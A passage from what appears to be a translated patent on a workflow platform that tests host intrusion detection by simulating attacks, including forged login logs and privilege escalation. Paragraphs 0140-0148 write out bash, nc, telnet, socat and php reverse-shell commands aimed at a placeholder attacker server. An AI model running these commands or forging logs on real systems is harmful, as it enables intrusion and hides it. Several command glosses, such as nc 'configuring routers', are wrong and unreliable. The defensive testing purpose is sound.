[0102] Accordingly, the simulated anomaly attack module includes a simulated malicious file attack module derived from the logical abstraction of a simulated malicious file attack process, a simulated abnormal login attack module derived from the logical abstraction of a simulated abnormal login attack process, a simulated password cracking attack module derived from the logical abstraction of a simulated password cracking attack process, a simulated abnormal command attack module derived from the logical abstraction of a simulated abnormal command attack process, a simulated privilege escalation attack module derived from the logical abstraction of a simulated privilege escalation attack process, and a simulated reverse shell attack module derived from the logical abstraction of a simulated reverse shell attack process. After abstracting the simulated malicious file attack module, simulated abnormal login attack module, simulated password cracking attack module, simulated abnormal command attack module, simulated privilege escalation attack module, and simulated reverse shell attack module, these modules can be configured in a flow orchestration canvas. The workflow platform can then graphically configure these functional modules (drag and drop and connect) in the flow orchestration canvas, drawing them together with other functional modules to form an execution workflow. The graphical configuration method is described in steps S105 and S1051-S1055 above, and will not be repeated here.

[0103] In this embodiment, when the workflow platform calls the simulated abnormal attack module in the workflow, it can first call the simulated malicious file attack module so that the simulated malicious file attack module can log in to the device to be detected using login information, obtain malicious files from the malicious file database, and use the malicious files to perform simulated malicious file attack processing on the device to be detected.

[0104] Next, the workflow platform can call the simulated abnormal login attack module, so that the simulated abnormal login attack module can log in to the device under test using the login information, replace the non-abnormal port address information in the login log of the device under test with abnormal port address information, and use the abnormal port address information to perform simulated abnormal login attack processing on the device under test.

[0105] Next, the workflow platform can call the simulated password cracking attack module, so that the simulated password cracking attack module can log in to the device under test using login information, and forge the non-login failure logs of the device under test into login failure logs; and use the login failure logs to perform simulated password cracking attack processing on the device under test.

[0106] Next, the workflow platform can call the simulated abnormal command attack module, so that the simulated abnormal command attack module can log in to the device under test using login information and execute abnormal commands to perform simulated abnormal command attack processing on the device under test.

[0107] Next, the workflow platform can call the simulated privilege escalation attack module, so that the simulated privilege escalation attack module can log in to the device under test using login information, obtain data from the device under test that meets the preset conditions of permission information, and perform simulated privilege escalation attack processing on the device under test using the data that meets the preset conditions of permission information;

[0108] Next, the workflow platform can call the simulated reverse bounce attack module, so that the simulated reverse bounce attack module can log in to the device under test using the login information, upload the backdoor file to the device under test, and perform simulated reverse bounce attack processing on the device under test through the backdoor file.

[0109] The following explains the simulated malicious file attack, simulated abnormal login attack, simulated password cracking attack, simulated abnormal command attack, simulated privilege escalation attack, and simulated reverse shell attack:

[0110] 1) Simulate malicious file attacks

[0111] Purpose: This simulated malicious file attack can be used to test the malicious file attack protection performance of HIDS, that is, to test whether HIDS has the ability to protect against malicious file attacks.

[0112] Harm: Attackers upload malicious files containing malicious code to the device under test through business interfaces, and trigger the execution of the malicious file in some way, thereby causing harm to the device under test.

[0113] Logic: After logging into the device to be detected, download a malicious file sample from a malicious file database (e.g., an open-source malicious file sample platform) and place the sample in the root directory of the device. To ensure the success rate of the simulation, multiple malicious file samples can be downloaded to the local machine of the device.

[0114] The workflow platform can pre-abstract the configurable content in the logic of simulating malicious file attack operations into a simulated malicious file attack module. The abstraction process is the same as the abstraction process of the simulated abnormal attack module mentioned above, and will not be repeated here.

[0115] 2) Simulate abnormal login attacks

[0116] Purpose: This simulated abnormal login attack can be used to test the protection performance of HIDS against abnormal login attacks, that is, to test whether HIDS has the ability to protect against abnormal login attacks.

[0117] Harm: After obtaining the login password of the device under test through certain means, attackers need to log in to the device under test and perform dangerous operations in order to cause further damage. Typically, the source IP address used by attackers to log in often comes from uncommon regions; therefore, attack detection can be made by checking whether the login IP address is a commonly used one.

[0118] Logic: Modify the login logs (e.g., / var / log / secure) to replace non-abnormal login IP addresses with abnormal IP addresses (e.g., overseas addresses), specifically those from regions frequently targeted by attacks. To ensure a high success rate for the simulation, multiple non-abnormal login records can be repeated to represent malicious IP login records.

[0119] The workflow platform can pre-abstract the configurable content in the logic of simulating abnormal login attack operations into a simulated abnormal login attack module. The abstraction process is the same as the abstraction process of the simulated abnormal attack module mentioned above, and will not be repeated here.

[0120] 3) Simulated password cracking attack

[0121] Purpose: This simulated password cracking attack can be used to test the password cracking protection performance of HIDS, that is, to test whether HIDS has the ability to protect against password cracking attacks.

[0122] Harm: One of the most common methods attackers use to obtain the account passwords of devices under test is brute-force password cracking. This involves repeatedly attempting different username and password combinations to find the correct password to log in to the device. All login operations are recorded in the system login log, so attacks can be identified by analyzing high-frequency login activities in the system login log.

[0123] Logic: Modify the login logs of the device under test, forging a large number of login failure logs. Use these login failure logs to perform a simulated password cracking attack on the device under test. To ensure the success rate of the simulation, the number of forged login records can exceed a preset threshold; for example, at least 100,000 forged login records.

[0124] The workflow platform can pre-abstract the configurable content in the logic of simulating password cracking attack operations into a simulated password cracking attack module. The abstraction process is the same as the abstraction process of the simulated abnormal attack module mentioned above, and will not be repeated here.

[0125] 4) Simulate abnormal command attacks

[0126] Purpose: This simulated abnormal command attack can be used to test the protection performance of HIDS against high-risk command attacks, that is, to test whether HIDS has the ability to protect against abnormal command attacks.

[0127] Harm: After attackers obtain account passwords and log in to the device under test, they often use abnormal commands (such as high-risk instructions) to obtain sensitive information or other high-risk operations of the device under test. Therefore, detecting the commands of logged-in users is also a way to discover attacker attacks.

[0128] Logic: After logging into the device under test, execute high-risk commands directly (e.g., wget, curl, bash, reg edit, nc, ssh, sshpass, etc.). To ensure the success rate of the simulation, the number of times high-risk commands are executed can exceed a preset threshold, for example, more than 20 times. Specifically, wget refers to the command to automatically download files from the network; curl is a common command-line tool used to request World Wide Web (WWAN) servers; bash is a command processor that typically runs in a text window and can execute commands directly entered by the user; regedit is the command to open the registry; nc is the command used to configure routers; ssh refers to the passwordless login command; and sshpass refers to remote commands.

[0129] The workflow platform can pre-abstract the configurable content in the logic of simulating abnormal command attack operations into a simulated abnormal command attack module. The abstraction process is the same as the abstraction process of the simulated abnormal attack module mentioned above, and will not be repeated here.

[0130] 5) Simulate privilege escalation attack

[0131] Purpose: This simulated privilege escalation attack can be used to test the privilege escalation attack protection performance of HIDS, that is, to detect whether HIDS has the ability to protect against privilege escalation attacks.

[0132] Harm: After gaining access to a device with low-privilege account passwords, attackers often escalate privileges to obtain data that meets preset conditions (e.g., high-privilege data), thereby acquiring sensitive information or launching other high-risk destructive operations. Therefore, detecting privilege escalation operations by system users is also a way to discover attacker behavior.

[0133] Logic: After logging into the device under test, a privilege escalation operation is performed directly. This involves acquiring data that meets preset permission conditions. The device under test is then subjected to a simulated privilege escalation attack based on this data. To ensure a high success rate, the number of privilege escalation operations can exceed a preset threshold, for example, more than 20 times. There are many privilege escalation methods, such as the Dirty Cow privilege escalation technique.

[0134] The principle behind Dirty Cow's privilege escalation vulnerability: A race condition occurs when a subsystem of the Linux kernel is copying data during write operations. Malicious users can exploit this vulnerability to gain high privileges and access read-only memory mappings. A race condition refers to an abnormal task execution order, which can cause application crashes or give attackers an opportunity to execute other code. By exploiting this vulnerability, attackers can escalate privileges on their target system, and may even gain root user privileges.

[0135] The workflow platform can pre-abstract the configurable content in the logic of simulating privilege escalation attack operations into a simulated privilege escalation attack module. The abstraction process is the same as the abstraction process of the simulated abnormal attack module mentioned above, and will not be repeated here.

[0136] 6) Simulate a bounce attack

[0137] Purpose: This simulated privilege escalation attack can be used to test the protection performance of HIDS against reverse bounce attacks, that is, to test whether HIDS has the ability to protect against reverse bounce attacks.

[0138] Harm: A typical attack method involves attackers uploading backdoor files to the device under test through other means, then issuing commands by accessing the backdoor files. However, devices under test generally have network-layer attack protection capabilities, often preventing attackers from directly connecting to the backdoor files. Therefore, a reverse shell can be used. A reverse shell sends a shell connection to the attacker, meaning the device under test actively initiates a connection to the attacker's service, establishing a communication channel through which the attacker issues attack commands. This allows the attacker to execute shell commands on the device under test. Therefore, detecting reverse shell behavior can uncover these attacks. A backdoor, in this context, refers to a method of bypassing security controls to gain access to a program or system.

[0139] Logic: After logging into the device under test, execute reverse shell commands directly to upload a backdoor file to the device. The backdoor file then simulates a reverse shell attack on the device. To ensure a high success rate, the number of reverse shell executions can exceed a preset threshold, for example, more than 20 times. For example, the reverse shell commands may include, but are not limited to:

[0140] (1) bash reverse shell command: bash -i>& / dev / tcp / attacker server IP / attacker server port 0>&1.

[0141] Here, `bash -i` creates an interactive bash shell, and ` / dev / tcp / ` is a special device file in Linux. `0>&1` redirects standard input to standard output.

[0142] (2) nc reverse shell command: nc -e / bin / bash attacker server IP attacker server port.

[0143] Here, nc refers to establishing a link between two computers and returning two data streams. Bin refers to a binary file.

[0144] (3) Telnet reverse shell command: telnet attacker server IP attacker server port | / bin / bash | telnet attacker server IP attacker server port.

[0145] Here, telnet refers to the remote terminal protocol.

[0146] (4) Socat reverse shell command: socatexec:'bash-li',pty,stderr,setsid,sigint,sanetcp:attacker's server IP:attacker's server port.

[0147] Socat is a multi-functional network tool for Linux.

[0148] (5) PHP reverse shell command: php-'exec(" / bin / bash-i>& / dev / tcp / attacker's server IP / attacker's server port")'.

[0149] Here, PHP refers to "Hypertext Preprocessor," a scripting language that is executed on the server side.

[0150] In this embodiment, the simulated malicious file attack module, simulated abnormal login attack module, simulated password cracking attack module, simulated abnormal command attack module, simulated privilege escalation attack module, and simulated reverse shell attack module are abstracted. These modules can be configured in a flow orchestration canvas. The workflow platform can then graphically configure these functional modules (drag and drop and connect them) to create an execution workflow along with other functional modules. The graphical configuration method is described in steps S105 and S1051-S1055 above and will not be repeated here.

[0151] It should be noted that the execution of the logic of the operations corresponding to the above six simulated anomaly attack modules can be carried out simultaneously, or the execution order of each simulated anomaly attack module can be set according to the logic of each functional module. This application embodiment does not make specific limitations in this regard.

[0152] In this embodiment, the logic of all attack types that HIDS needs to protect against is abstracted into corresponding functional modules. A graphical configuration method is used to generate execution workflows based on these functional modules, achieving code-free operation in the protection performance testing process. This allows for rapid workflow construction without significant cost or professional personnel investment, improving the efficiency of HIDS protection performance testing. Furthermore, since the logic of each operation is pre-abstracted into corresponding functional modules before the workflow is executed, the abstracted functional modules are directly called during execution to perform the corresponding processing tasks. This separates the program execution body from the configuration, ensuring flexible configuration changes under different application scenarios while maintaining the stability of the main functional logic. Additionally, the HIDS protection performance testing method in this embodiment involves fully automated attack operation simulation via automatic login to the device under test, enabling batch testing of a large number of accounts, further improving the efficiency of HIDS protection performance testing. Moreover, this embodiment can simulate all attacks that HIDS needs to protect against, increasing the coverage of HIDS protection performance testing and thus enhancing its reliability.

[0153] In a feasible embodiment, the above-mentioned invocation of the alarm information acquisition module in the execution workflow to cause the alarm information acquisition module to perform the corresponding protection performance detection task may include:

[0154] The alarm information acquisition module in the execution workflow is invoked, so that the alarm information acquisition module calls the host-type intrusion detection interface in the alarm storage system to obtain candidate alarm information from the alarm storage system; wherein, the candidate alarm information is sent to the alarm storage system when the host-type intrusion detection system detects abnormal attack processing on the device under test.

[0155] In this embodiment, during the execution of various attack simulation processes by the workflow platform, HIDS can perform protection detection on the attack processing in the device to be tested. If HIDS determines that there is abnormal attack processing in the device to be tested, HIDS will report the candidate alarm information corresponding to the attack operation to the alarm storage system. After receiving the candidate alarm information, the alarm storage system will record the candidate alarm information, store the candidate alarm information in the log database, and notify the account of the device to be tested of the candidate alarm information.

[0156] When the workflow platform calls the alarm information acquisition module in the workflow, the workflow platform can call the host-based intrusion detection interface in the alarm storage system to obtain all candidate alarm information for the device under test from the alarm storage system through the host-based intrusion detection interface.

[0157] In this embodiment, since the logic of the alarm information acquisition process has been abstracted into an alarm information acquisition module before execution, the logic in the abstracted alarm information acquisition module can be directly executed during execution. This separates the main program execution and configuration, ensuring flexible configuration changes under different application scenarios while maintaining the stability of the main functional logic. Simultaneously, storing alarm information in an alarm storage system and retrieving alarm information from the alarm storage system by calling the host-based intrusion detection interface improves the accuracy of alarm information storage and retrieval, thereby enhancing the detection accuracy of host-based intrusion protection performance.

[0158] In a feasible embodiment, the above-mentioned invocation of the protection performance analysis module in the execution workflow to cause the protection performance analysis module to perform the corresponding protection performance detection task may include:

[0159] The protection performance analysis module in the execution workflow is invoked so that the protection performance analysis module determines the abnormal attack handling task whose alarm information is included in the candidate alarm information as the first abnormal attack handling task, and determines the abnormal attack handling task whose alarm information is not included in the candidate alarm information as the second abnormal attack handling task.

[0160] It was determined that the host-based intrusion detection system possesses the protective capabilities corresponding to the first abnormal attack handling task, and that the host-based intrusion detection system does not possess the protective capabilities corresponding to the second abnormal attack handling task.

[0161] The results of the protection performance test are taken as follows: the host-based intrusion detection system has the protection performance corresponding to the first abnormal attack handling task, and does not have the protection performance corresponding to the second abnormal attack handling task.

[0162] In this embodiment, during the logic process of the workflow platform calling and executing the protection performance analysis module in the workflow to enable the protection performance analysis module to perform the corresponding protection performance detection operation, it can identify whether the acquired candidate alarm information includes alarms for the aforementioned simulated attack processing tasks, that is, whether it includes alarm information for simulated malicious file attack modules, simulated abnormal login attack modules, simulated password cracking attack modules, simulated abnormal command attack modules, simulated privilege escalation attack modules, and simulated reverse shell attack modules. If it includes these, the abnormal attack processing task whose alarm information is included in the candidate alarm information is determined as the first abnormal attack processing task; if it does not include these, the abnormal attack processing task whose alarm information is not included in the candidate alarm information is determined as the second abnormal attack processing task. Since the alarm information for the first abnormal attack handling task is included in the candidate alarm information, it indicates that the alarm information for the first abnormal attack handling task can be identified by HIDS. However, the alarm information for the second abnormal attack handling task is not included in the candidate alarm information, indicating that the alarm information for the second abnormal attack handling task cannot be identified by HIDS. Therefore, the workflow platform determines that the host-type intrusion detection system has the protection performance corresponding to the first abnormal attack handling task and does not have the protection performance corresponding to the second abnormal attack handling task. The system's possession of the protection performance corresponding to the first abnormal attack handling task and its lack of the protection performance corresponding to the second abnormal attack handling task are taken as the host-type intrusion protection performance detection results.

[0163] For example, if the candidate alarm information includes alarms for simulated malicious file attack modules, simulated abnormal login attack modules, and simulated password cracking attack modules, but does not include alarms for simulated abnormal command attack modules, simulated privilege escalation attack modules, and simulated reverse shell attack modules, then the workflow platform will use the simulated abnormal attack processing tasks corresponding to the simulated malicious file attack module, the simulated abnormal login attack module, and the simulated abnormal password cracking attack module as the first abnormal attack processing tasks, and the simulated abnormal command attack module, the simulated privilege escalation attack module, and the simulated reverse shell attack module as the second abnormal attack processing tasks. It will then determine that the host-based intrusion detection system has the capability to protect against simulated malicious file attacks, simulated abnormal login attacks, and simulated password cracking attacks, but does not have the capability to protect against simulated abnormal command attacks, simulated privilege escalation attacks, and simulated reverse shell attacks.

[0164] In this embodiment, since the logic of the protection performance analysis process has been abstracted before executing the protection performance analysis module, the logic in the abstracted protection performance detection operation function module can be directly executed during execution. This separates the program execution body from the configuration, ensuring flexible configuration changes under different application scenarios while maintaining the stability of the main functional logic. Furthermore, since the candidate alarm information is identified by HIDS itself, determining whether the host-based intrusion detection system possesses the protection performance corresponding to certain abnormal attack handling based on whether the alarm information is included in the candidate alarm information improves the accuracy of protection performance detection.

[0165] In an optional embodiment, the above-mentioned protection performance test result, which considers the host-based intrusion detection system as having protection performance corresponding to the first abnormal attack handling task and not having protection performance corresponding to the second abnormal attack handling task, may include:

[0166] A first identifier is identified that possesses the protective capabilities corresponding to the first abnormal attack handling task, and a second identifier is identified that does not possess the protective capabilities corresponding to the second abnormal attack handling task.

[0167] The combination of the protective performance and the first identifier corresponding to the first abnormal attack handling task yields the first data combination result; the combination of the two data combinations, which do not possess the protective performance and the second identifier corresponding to the second abnormal attack handling task, yields the second data combination result.

[0168] The result of combining the first and second data sets is determined as the protective performance test result.

[0169] In this embodiment, the first identifier can be used to characterize that the host-based intrusion detection system possesses the protective performance corresponding to the first abnormal attack handling task, and the second identifier can be used to characterize that the host-based intrusion detection system does not possess the protective performance corresponding to the second abnormal attack handling task. For example, the first identifier can be "possesses" or "True", and the second identifier can be "does not possess" or "False". After determining the identifier, the workflow platform can combine the protective performance corresponding to the first abnormal attack handling task and the first identifier to obtain a first data combination result; combine the protective performance corresponding to the second abnormal attack handling task and the second identifier to obtain a second data combination result, and determine the first data combination result and the second data combination result as the protective performance detection result.

[0170] For example, suppose a host-based intrusion detection system has the ability to protect against simulated malicious file attacks, simulated abnormal login attacks, and simulated password cracking attacks, but does not have the ability to protect against simulated abnormal command attacks, simulated privilege escalation attacks, and simulated reverse shell attacks.

[0171] The result of the first data combination can be:

[0172] "Possesses malicious file attack protection capabilities":"True",

[0173] "Possesses protection against abnormal login attacks":"True",

[0174] "Possesses password cracking attack protection capabilities": "True".

[0175] The result of the second data combination can be:

[0176] "Does not have protection against abnormal command attacks":"False"

[0177] "Does not have local privilege escalation attack protection capabilities":"False",

[0178] "Does not have the ability to defend against bounce attacks":"False".

[0179] In this embodiment, the protection performance corresponding to whether abnormal attack handling is available is combined with the corresponding identifier, and the combined result is used as the final protection performance test result. This allows the protection performance test result to be conveniently displayed to the account that receives the protection performance test result, improving the convenience of displaying the protection performance test result and the interactive experience of the account.

[0180] In an optional embodiment, the protection performance testing process further includes a data transmission process. The execution workflow further includes a data transmission module, which is used to perform the task of transmitting the protection performance testing results. After obtaining the protection performance testing results for the host-based intrusion detection system, the above method further includes:

[0181] Call the data sending module to send the protection performance test results to the device under test.

[0182] In this embodiment, the protection performance testing process also includes a data sending process. The logic of this data sending process is to send the protection performance testing results to the device under test. The workflow platform can pre-abstract the configurable content in the logic to obtain the data sending module. The abstraction process of this data sending module can be referred to the abstraction processes of the login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module described above, and will not be repeated here. The workflow platform uses drag-and-drop and connection methods to perform visual image configuration of the login information acquisition module, simulated abnormal attack module, alarm information acquisition module, protection performance analysis module, and data sending module to obtain the execution workflow. The generation of this execution workflow can be referred to steps S105 and S1051-S1055 described above, and will not be repeated here.

[0183] After obtaining the protection performance test results from the workflow platform, the data sending module can be called to execute the corresponding data sending operation logic and send the protection performance test results to the device under test.

[0184] Figure 7 This is a schematic diagram illustrating the display of protection performance test results of a device under test in an instant messaging system, according to an exemplary embodiment. As an example, such as... Figure 7 As shown, the workflow platform can call the instant messaging message sending interface to send the protection performance test result to the instant messaging system of the device under test, and the device under test can then display the protection performance test result in the instant messaging system.

[0185] In this embodiment, since the logic of the data sending process has been abstracted into a data sending module before the workflow is executed, the logic abstracted into the data sending module can be directly executed during the execution process. This separates the main program execution body from the configuration, ensuring that flexible configuration changes can be supported under different application scenarios while maintaining the stability of the main functional logic. Furthermore, sending the protection performance test results to the device under test allows the account to easily display the received protection performance test results, improving the convenience of displaying the protection performance test results and enhancing the account's interactive experience.

[0186] Figure 8 This is a schematic diagram illustrating a host-based intrusion prevention performance detection process based on an exemplary embodiment in a cloud-native environment. Figure 3 ,like Figure 8 As shown, the method may include:

[0187] S201. The workflow platform acquires the host-based intrusion detection system in the device under test and performs a protection performance test on the device. This protection performance test includes a login information acquisition process, a simulated abnormal attack process, an alarm information acquisition process, a protection performance test process, and a data transmission process. The simulated abnormal attack process includes a malicious file attack process, a simulated abnormal login attack process, a simulated password cracking attack process, a simulated abnormal command attack process, a simulated privilege escalation attack process, and a simulated reverse shell attack process.

[0188] S203. The workflow platform abstracts the logic corresponding to the login information acquisition process, simulated abnormal attack process, alarm information acquisition process, protection performance detection process, and data sending process, respectively, resulting in the login information acquisition module, simulated abnormal attack module (including simulated malicious file attack module, simulated abnormal login attack module, simulated password cracking attack module, simulated abnormal command attack module, simulated privilege escalation attack module, and simulated reverse shell attack module), alarm information acquisition module, protection performance analysis module, and data sending module. The workflow platform configures the abstracted functional modules in the flow orchestration canvas.

[0189] The simulated abnormal attack module includes a simulated malicious file attack module obtained by logically abstracting simulated malicious file attack operations, a simulated abnormal login attack module obtained by logically abstracting simulated abnormal login attack operations, a simulated password cracking attack module obtained by logically abstracting simulated password cracking attack operations, a simulated abnormal command attack module obtained by logically abstracting simulated abnormal command attack operations, a simulated privilege escalation attack module obtained by logically abstracting privilege escalation attack operations, and a simulated reverse bounce attack module obtained by logically abstracting simulated reverse bounce attack operations.

[0190] S205. In response to the received intrusion prevention performance detection command, the workflow platform provides a flow orchestration canvas that allows for visual editing of the workflow. The aforementioned intrusion prevention performance detection module is retrieved from the functional modules corresponding to different business operations.

[0191] S207. In the flow orchestration canvas, the workflow platform establishes execution dependencies between multiple protection performance detection modules and configures the corresponding function execution trigger logic of each of the multiple protection performance detection modules through the workflow engine, generating an automated protection performance detection execution workflow.

[0192] S209. The workflow platform calls the login information acquisition module to obtain the login information of the device under test and transmits the login information to the simulated abnormal attack module.

[0193] S2011. The workflow platform calls the simulated malicious file attack module to enable the simulated malicious file attack module to log in to the device under test using login information, obtain malicious files from the malicious file database, and use the malicious files to perform simulated malicious file attack processing on the device under test.

[0194] S2013. The workflow platform calls the simulated abnormal login attack module to enable the simulated abnormal login attack module to log in to the device under test using login information, replace the non-abnormal port address information in the login log of the device under test with abnormal port address information, and use the abnormal port address information to perform simulated abnormal login attack processing on the device under test.

[0195] S2015. The workflow platform calls the simulated password cracking attack module to log in to the device under test using login information, and forges the non-login failure logs of the device under test into login failure logs; the login failure logs are then used to perform simulated password cracking attacks on the device under test.

[0196] S2017. The workflow platform calls the simulated abnormal command attack module so that the simulated abnormal command attack module logs into the device under test using login information and executes abnormal commands to perform simulated abnormal command attack processing on the device under test.

[0197] S2019. The workflow platform calls the simulated privilege escalation attack module to log in to the device under test using login information, obtain data from the device under test that meets preset conditions for permission information, and then perform simulated privilege escalation attack processing on the device under test using the data that meets preset conditions for permission information.

[0198] S20111. The workflow platform calls the simulated reverse bounce attack module, so that the simulated reverse bounce attack module logs into the device under test using login information, uploads the backdoor file to the device under test, and performs simulated reverse bounce attack processing on the device under test through the backdoor file.

[0199] S20113. The workflow platform calls the simulated abnormal attack module so that the simulated abnormal attack module can log in to the device under test using the login information and perform abnormal attack processing on the device under test.

[0200] S20115. The workflow platform calls the alarm information acquisition module so that the alarm information acquisition module can acquire candidate alarm information identified by the host-based intrusion detection system from the device under test.

[0201] S20117. The workflow platform calls the protection performance analysis module to analyze whether the candidate alarm information includes alarm information for abnormal attack handling, and generates the protection performance test results of host-based intrusion detection based on the analysis results.

[0202] S20119. The workflow platform calls the data sending module to send the protection performance test results to the device under test.

[0203] Figure 9 This is a block diagram illustrating a host-based intrusion prevention performance detection device based on a cloud-native environment, according to an exemplary embodiment. Figure 9 As shown, the host-based intrusion prevention performance detection device based on a cloud-native environment may include:

[0204] The first response module 301 is used to respond to the received intrusion prevention performance detection command and provide a flow orchestration canvas that allows for visual editing of the workflow; wherein, the flow orchestration canvas includes functional modules corresponding to different services;

[0205] The acquisition module 303 is used to acquire multiple protection performance detection modules for the host-based intrusion detection system from the functional modules corresponding to different services. Among them, the multiple protection performance detection modules include a login information acquisition module, a simulated abnormal attack module, an alarm information acquisition module, and a protection performance analysis module. The login information acquisition module, the simulated abnormal attack module, the alarm information acquisition module, and the protection performance analysis module are used to perform different protection performance detection tasks.

[0206] The generation module 305 is used to establish the execution dependency relationship between multiple protection performance detection modules and configure the function execution trigger logic of each of the multiple protection performance detection modules in the flow orchestration canvas through the workflow engine, so as to generate an automated protection performance detection execution workflow.

[0207] The second response module 307 is used to respond to the execution workflow operation instruction, automatically execute the intrusion prevention performance detection instruction according to the execution workflow, and obtain the protection performance detection result for the host-type intrusion detection system.

[0208] In an optional embodiment, the stream orchestration canvas includes a module region, which includes functional modules corresponding to different services; the aforementioned acquisition module 303 includes:

[0209] The acquisition unit is used to respond to a search command triggered based on a module region and acquire multiple protection performance detection modules corresponding to the search command from the functional modules corresponding to different services in the module region.

[0210] In an optional embodiment, the flow orchestration canvas further includes an editing area, and the aforementioned generation module includes:

[0211] The first response unit is used to respond to a drag operation triggered based on multiple searched protection performance detection modules, and to drag the multiple searched protection performance detection modules to the editing area;

[0212] The second response unit is used to respond to the logical configuration instructions triggered by each of the multiple protection performance detection modules in the editing area, and to configure the function execution trigger logic of each of the multiple protection performance detection modules through the workflow engine.

[0213] The third response unit is used to respond to connection operations triggered by any two protection performance detection modules in the editing area. It draws directed connection edges between any two protection performance detection modules through the workflow engine and generates an execution workflow. The direction of the directed connection edge represents the execution dependency relationship between any two protection performance detection modules.

[0214] In an optional embodiment, the above-described apparatus further includes:

[0215] The process acquisition module is used to acquire the protection performance testing process for host-based intrusion detection systems. The protection performance testing process includes the login information acquisition process, the simulated abnormal attack process, the alarm information acquisition process, and the protection performance analysis process.

[0216] The abstract module is used to abstract the logic corresponding to the login information acquisition process, the simulated abnormal attack process, the alarm information acquisition process, and the protection performance detection process respectively, so as to obtain the login information acquisition module, the simulated abnormal attack module, the alarm information acquisition module, and the protection performance analysis module.

[0217] The system comprises the following modules: a login information acquisition module, a host-based intrusion detection system, and a protection performance analysis module. The login information acquisition module acquires the login information of the device under test and transmits it to the simulated abnormal attack module. The simulated abnormal attack module uses the login information to log into the device under test and performs abnormal attack processing. The alarm information acquisition module acquires candidate alarm information identified by the host-based intrusion detection system for the device under test. The protection performance analysis module analyzes whether the candidate alarm information includes alarm information for simulated abnormal attack processing and generates protection performance test results based on the analysis results.

[0218] In an optional embodiment, the second response module 307 described above includes:

[0219] The modules are called sequentially in response to the workflow execution instructions. The login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module in the workflow are called sequentially to enable the login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module to perform their respective protection performance detection tasks and obtain protection performance detection results.

[0220] In an optional embodiment, the above-mentioned sequential invocation of modules includes:

[0221] The first calling unit is used to call the login information acquisition module in the execution workflow, so that the login information acquisition module can provide a login information editing page; the login information editing page includes a port address information editing area and a login information editing area.

[0222] The address and account acquisition unit is used to obtain the port address information of the device under test in response to the editing operation triggered by the editing area based on the port address information, and to obtain the account information of the device under test in response to the editing operation triggered by the editing area based on the login information.

[0223] The login information determination unit is used to determine the port address information and account information as login information; the login information is used to transmit to the simulated abnormal attack module.

[0224] In an optional embodiment, the protection performance detection task includes a simulated abnormal attack processing task, and the simulated abnormal attack module includes a simulated malicious file attack module, a simulated abnormal login attack module, a simulated password cracking attack module, a simulated abnormal command attack module, a simulated privilege escalation attack module, and a simulated reverse shell attack module.

[0225] The modules called in sequence as described above include:

[0226] The second calling unit is used to call the simulated malicious file attack module, simulated abnormal login attack module, simulated password cracking attack module, simulated abnormal command attack module, simulated privilege escalation attack module, and simulated reverse shell attack module in the execution workflow, so that the simulated malicious file attack module, simulated abnormal login attack module, simulated password cracking attack module, simulated abnormal command attack module, simulated privilege escalation attack module, and simulated reverse shell attack module respectively log in to the device to be tested using login information, and simulate the execution of their respective simulated abnormal attack processing tasks on the device to be tested.

[0227] In an optional embodiment, the above-mentioned sequential invocation of modules includes:

[0228] The third calling unit is used to call the alarm information acquisition module in the execution workflow, so that the alarm information acquisition module calls the host-type intrusion detection interface in the alarm storage system to obtain candidate alarm information from the alarm storage system;

[0229] Among them, candidate alarm information is sent to the alarm storage system by the host-based intrusion detection system when it detects abnormal attack processing on the device under test.

[0230] In an optional embodiment, the above-mentioned sequential invocation of modules includes:

[0231] The fourth calling unit is used to call the protection performance analysis module in the execution workflow, so that the protection performance analysis module determines the abnormal attack handling task whose alarm information is included in the candidate alarm information as the first abnormal attack handling task, and determines the abnormal attack handling task whose alarm information is not included in the candidate alarm information as the second abnormal attack handling task.

[0232] The protection performance determination unit is used to determine whether the host-type intrusion detection system has the protection performance corresponding to the first abnormal attack handling task and does not have the protection performance corresponding to the second abnormal attack handling task.

[0233] The detection result determination unit is used to determine whether the host-type intrusion detection system has the protection performance corresponding to the first abnormal attack handling task and does not have the protection performance corresponding to the second abnormal attack handling task, as the protection performance detection result.

[0234] In an optional embodiment, the detection result determination unit includes:

[0235] The identifier determination subunit is used to determine a first identifier that has the protection performance corresponding to the first abnormal attack handling task, and a second identifier that does not have the protection performance corresponding to the second abnormal attack handling task.

[0236] The combination subunit is used to combine the protective performance corresponding to the first abnormal attack handling task and the first identifier to obtain a first data combination result; and to combine the protective performance and the second identifier that do not correspond to the second abnormal attack handling task to obtain a second data combination result.

[0237] The combination result determination sub-unit is used to determine the protection performance test result by combining the first data combination result and the second data combination result.

[0238] In an optional embodiment, the plurality of protection performance detection modules further include a data transmission module, which is used to perform the task of transmitting the protection performance detection results;

[0239] The above-mentioned device also includes:

[0240] The sending module is used to call the data sending module so that the data sending module can send the protection performance test results to the device under test.

[0241] It should be noted that the device embodiments provided in this application are based on the same inventive concept as the method embodiments described above.

[0242] This application also provides an electronic device for detecting the protection performance of host-based intrusion detection. The electronic device includes a processor and a memory. The memory stores at least one instruction or at least one program. The processor loads and executes the at least one instruction or at least one program to implement the host-based intrusion protection performance detection method based on a cloud-native environment as provided in any of the above embodiments.

[0243] Embodiments of this application also provide a computer-readable storage medium that can be disposed in a terminal to store at least one instruction or at least one program for implementing a host-based intrusion prevention performance detection method based on a cloud-native environment as described in the method embodiments. The at least one instruction or at least one program is loaded and executed by a processor to implement the host-based intrusion prevention performance detection method based on a cloud-native environment as provided in the above method embodiments.

[0244] Optionally, in the embodiments of this specification, the storage medium may be located at at least one of the multiple network servers in a computer network. Optionally, in this embodiment, the storage medium may include, but is not limited to, various media capable of storing program code, such as USB flash drives, read-only memory (ROM), random access memory (RAM), portable hard drives, magnetic disks, or optical disks.

[0245] The memory described in this specification can be used to store software programs and modules. The processor executes various functional applications and data processing by running the software programs and modules stored in the memory. The memory may primarily include a program storage area and a data storage area. The program storage area may store the operating system, applications required for functions, etc.; the data storage area may store data created based on the use of the device, etc. Furthermore, the memory may include high-speed random access memory, and may also include non-volatile memory, such as at least one disk storage device, flash memory device, or other volatile solid-state storage device. Accordingly, the memory may also include a memory controller to provide the processor with access to the memory.

[0246] This application also provides a computer program product or computer program, which includes computer instructions stored in a computer-readable storage medium. A processor of a computer device reads the computer instructions from the computer-readable storage medium and executes the computer instructions, causing the computer device to perform the host-based intrusion prevention performance detection method based on a cloud-native environment provided in the above-described method embodiments.

